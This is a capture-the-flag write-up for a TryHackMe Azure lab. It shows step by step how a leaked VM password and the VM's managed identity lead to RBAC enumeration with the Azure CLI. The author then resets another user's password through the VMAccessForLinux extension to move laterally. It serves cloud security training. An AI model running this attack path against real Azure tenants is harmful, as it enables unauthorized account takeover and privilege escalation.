Azure: Hoppity Hop

Azure challenge for cloud pentesters: Can you find the attack path and exploit it? - by zieglers

TryHackMe | Cyber Security TrainingTryHackMe

The following post by 0xb0b is licensed under CC BY 4.0

---

In Azure: Hoppity Hop we are faced with the following scenario:

Lab Scenario

• During the reconnaissance, you came across a password: WhereIsMyMind$#@!

• You don't know much about which permissions you have on the Azure Portal

• You don't know much about which resources you can access on the Azure Portal

• All you have is a compromised password

• Which attack path(s) can you discover and how will you exploit them?

Summary

In Azure: Hoppity Hop we begin with valid credentials to access a Linux VM in Azure and leverage its managed identity to enumerate the tenant and associated resource groups. Through Azure CLI enumeration, we discover elevated RBAC permissions that grant ownership over another virtual machine within the same resource group. Abusing these permissions, we deploy a legitimate VM extension to reset credentials on the secondary VM and gain access as tyler, demonstrating lateral movement and privilege escalation within an Azure environment through misconfigured managed identities and over-permissioned roles.

We open the dashboard of Microsoft Azure and head to Resource or All resources.

At All resource in Microsoft Azure we'll find two VMs LinuxVM and LinuxVM1.

If we click on that resource we can find a username at the Connect page in the SSH connection string. Furthermore we see a public facing ip address of the machine. In this case 172.171.217.238.

So, we now have a username azureuser and a password from the reconnaissance from the scenario.

azureuser:WhereIsMyMind$#@!

We try to connect and gain access to the VM.

ssh azureuser@172.171.217.238

If we inspect the LinuxVM1 we find another connection string. This time with the user tyler. But that user has a different password. We cannot connect using SSH.

Like in Azure: Eyes Wide Shut we proceed with the Azure CLI on the target VM to enumerate the target and tennant and eventually escalate our privileges or move laterally.

We install the Azure CLI:

curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash

Next, we log in as follows:

az login --identity

We authenticate to Azure using the managed identity of the current resource instead of user credentials. We should be now able to access resources.

We lists all Azure resource groups in the current subscription and displays them in a readable table format. We find the resource group rg-10317041.

az group list -o table

Next, we list all virtual machines within the specified resource group rg-10317041 and displays them in a table format. LinuxVM and LinuxVM1 are part of the resource group.

az vm list -g <rg> -o table

az vm list -g rg-10317041 -o table

We continue listing all resources within the resource group rg-10317041 and presents them in a table format.

 az resource list -g <rg> -o table

az resource list -g rg-10317041 -o table

Next, we enumerate the system-assigned managed identity for LinuxVM - the principalID - which we will use as the assignee when checking RBAC permissions.

az vm identity show -g <rg> -n LinuxVM

az vm identity show -g rg-10317041 -n LinuxVM

principalId: 5929a124-f169-4e45-aee6-8f776b149771

Now we try to extract the resource LinuxVM1 and note down the subscriptionID so we can construct precise RBAC scopes for role queries.

az resource list -g <rg> -n LinuxVM1

az resource list -g rg-10317041 -n LinuxVM1

subId: 1746294a-5aa8-4cbb-82a4-11e731b20942

Next, we list role assignments to quickly spot elevated roles for the VM identity within the resource group. This shows whether the VM’s managed identity is Owner/Contributor/Reader at the resource-group scope:

az role assignment list --assignee <principalID> --scope /subscriptions/<subID>/resourceGroups/<rg> -o table

az role assignment list --assignee 5929a124-f169-4e45-aee6-8f776b149771 --scope /subscriptions/1746294a-5aa8-4cbb-82a4-11e731b20942/resourceGroups/rg-10317041 -o table

We need to retrieve the same role assignments as raw JSON so we can capture full metadata...

We extract the RoleDefintionID, with that we can query the exact permissions.

az role assignment list --assignee <principalID> --scope /subscriptions/<subID>/resourceGroups/<rg> 

az role assignment list --assignee 5929a124-f169-4e45-aee6-8f776b149771 --scope /subscriptions/1746294a-5aa8-4cbb-82a4-11e731b20942/resourceGroups/rg-10317041

/subscriptions/1746294a-5aa8-4cbb-82a4-11e731b20942/providers/Microsoft.Authorization/roleDefinitions/9980e02c-c2be-4d73-94e8-173b1dc7cf3c

We inspect the the permissions of the role with /subscriptions/<subID>/resourceGroups/<rg>

az role definition show --id <roleDefinitionID> --query "permissions"

az role definition show --id /subscriptions/1746294a-5aa8-4cbb-82a4-11e731b20942/providers/Microsoft.Authorization/roleDefinitions/9980e02c-c2be-4d73-94e8-173b1dc7cf3c --query "permissions"

From its actions, we can see it includes:

"Microsoft.Compute/virtualMachines/*"

That means all operations (*) under the Microsoft.Compute/virtualMachines namespace, not just read or start, but also create, update, and extensions management are applicable.

With that we can deploy a VM extension called VMAccessForLinux, published by Microsoft:

"type": "Microsoft.Compute/virtualMachines/extensions",
"typePropertiesType": "VMAccessForLinux"

That extension is used in Azure to:

• reset Linux user passwords,

• create users,

• or reset SSH keys.

See:

Reset access to an Azure Linux VM - Azure Virtual MachinesMicrosoftLearn

This should allow us to update the password of tyler on LinuxVM1:

az vm user update -u tyler -p 'Pwned123!' -n LinuxVM1 -g <rg>

az vm user update -u tyler -p 'Pwned123!' -n LinuxVM1 -g rg-10317041

Next, we try to log in to LinuxVM1 as tyler with Tyler:Pwned123! and find the flag at /home/tyler/flag.txt.

ssh tyler@4.246.192.249